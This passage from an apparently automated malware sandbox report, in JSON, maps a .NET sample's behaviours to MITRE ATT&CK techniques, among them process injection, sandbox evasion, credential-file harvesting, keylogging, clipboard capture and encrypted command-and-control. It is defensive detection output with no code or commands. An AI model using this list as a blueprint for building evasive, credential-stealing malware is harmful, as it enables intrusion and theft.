Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform symmetric encryption (Dotnet)"},{"type":"informative","value":"Dotnet file contains encryption/decryption functions"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Uses a .NET obfuscator to hide its code"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can loads assembly that contains the code that is currently executing [Dotnet]"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"suspicious","value":"YARA signature match - References common sandbox DLLs (sandbox evasion)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"},{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"malicious","value":"Creates a fake system process"},{"type":"malicious","value":"Found a system process name at an unusual pathway"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"informative","value":"Dotnet file contains function to dynamically call methods at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"informative","value":"Contains ability to perform code compilation at runtime (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the Windows system directory"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"},{"type":"informative","value":"Found strings related to file managers"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"malicious","value":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Hooks file system APIs"},{"type":"malicious","value":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to collect clipboard information (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in program files directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to gather system environment details"},{"type":"informative","value":"Contains ability to gather system information (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve operating system version"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"Domain Trust Discovery","attack_id":"T1482","attack_id_wiki":"https://attack.mitre.org/techniques/T1482","identifiers":[{"type":"informative","value":"Contains ability to enumerate trusted domains"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to gather process details (Dotnet)"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network adapter information (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve system network configuration"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve current user details (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to get active window titles (Dotnet)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Copy files into temp folder"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Contains ability to decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate via sockets (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files"}],"sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to decompress content at runtime","description":"Observed function \"System.IO.Compression.GZipStream\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1560.002","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"$25","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform code compilation at runtime (Dotnet)","description":"Observed namespace \"Microsoft.CSharp.CSharpCodeProvider\" and TypeReference \".ctor\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1027.004","relevance":1,"id":"static-174","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$26","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"TransformFinalBlock\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains function to dynamically call methods at runtime","description":"Observed namespace \"System.Management\" and MemberReference \"GetMethodParameters\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed namespace \"System.Diagnostics\" and MemberReference \"GetMethod\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":1,"id":"static-135","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003900.00000001.137884.007C0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004000.00000001.134249.008D0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: 